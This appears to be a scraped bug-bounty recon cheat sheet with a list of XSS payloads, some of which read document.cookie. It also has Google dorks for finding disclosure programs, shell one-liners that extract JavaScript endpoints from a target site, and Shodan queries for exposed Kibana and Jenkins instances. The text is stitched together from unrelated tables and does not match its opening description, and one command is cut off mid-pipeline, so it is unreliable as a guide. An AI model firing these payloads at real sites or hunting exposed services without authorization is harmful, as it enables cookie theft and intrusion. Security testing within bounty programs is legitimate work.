This is a simple guide to perform javascript recon in the bugbounty
- The first step is to collect possibly several javascript files (
more files=more paths,parameters->more vulns)
| #<script>alert(1)</script> | |
| 1%22onfocus=%27window.alert%28document.cookie%29%27%20autofocus= | |
| "><form onformdata%3Dwindow.confirm(cookie)><button>XSS here<!-- | |
| #javascript:alert(2); | |
| "><svg onload=alert(1)> | |
| [email protected]%27\%22%3E%3Csvg/onload=alert(/xss/)%3E | |
| [email protected]%2527%5C%2522%253E%253Csvg%2Fonload%3Dalert%28%2Fxss%2F%29%253E | |
| //?aspxerrorpath=<script>alert(1)</script> | |
| 嘼嘾img%20src%3Dx%20onerror%3Dprompt%28document.domain%29%3B%3E | |
| alert##<script>prompt(1234)</script> |
| inurl /bug bounty | |
| inurl : / security | |
| inurl:security.txt | |
| inurl:security "reward" | |
| inurl : /responsible disclosure | |
| inurl : /responsible-disclosure/ reward | |
| inurl : / responsible-disclosure/ swag | |
| inurl : / responsible-disclosure/ bounty | |
| inurl:'/responsible disclosure' hoodie | |
| responsible disclosure swag r=h:com |
| curl -L -k -s https://www.example.com | tac | sed "s#\\\/#\/#g" | egrep -o "src['\"]?\s*[=:]\s*['\"]?[^'\"]+.js[^'\"> ]*" | awk -F '//' '{if(length($2))print "https://"$2}' | sort -fu | xargs -I '%' sh -c "curl -k -s \"%\" | sed \"s/[;}\)>]/\n/g\" | grep -Po \"(['\\\"](https?:)?[/]{1,2}[^'\\\"> ]{5,})|(\.(get|post|ajax|load)\s*\(\s*['\\\"](https?:)?[/]{1,2}[^'\\\"> ]{5,})\"" | awk -F "['\"]" '{print $2}' | sort -fu | |
| # using linkfinder | |
| function ejs() { | |
| URL=$1; | |
| curl -Lks $URL | tac | sed "s#\\\/#\/#g" | egrep -o "src['\"]?\s*[=:]\s*['\"]?[^'\"]+.js[^'\"> ]*" | sed -r "s/^src['\"]?[=:]['\"]//g" | awk -v url=$URL '{if(length($1)) if($1 ~/^http/) print $1; else if($1 ~/^\/\//) print "https:"$1; else print url"/"$1}' | sort -fu | xargs -I '%' sh -c "echo \"\n##### %\";wget --no-check-certificate --quiet \"%\"; basename \"%\" | xargs -I \"#\" sh -c 'linkfinder.py -o cli -i #'" | |
| } | |
| # with file download (the new best one): | |
| # but there is a bug if you don't provide a root url |
| org: org_name | |
| kibana content-length:217 | |
| org:”Amazon” ssl:”target” | |
| ssl:”target” | |
| html:”Dashboard Jenkins” http.component:”jenkins” | |
| http.title:”302 Found” | |
| http.component%3A”java” | |
| https://www.shodan.io/host/ip#9200 | |
| https://www.shodan.io/host/ip | |
| X-Redirect-By: WordPress ssl:”name” |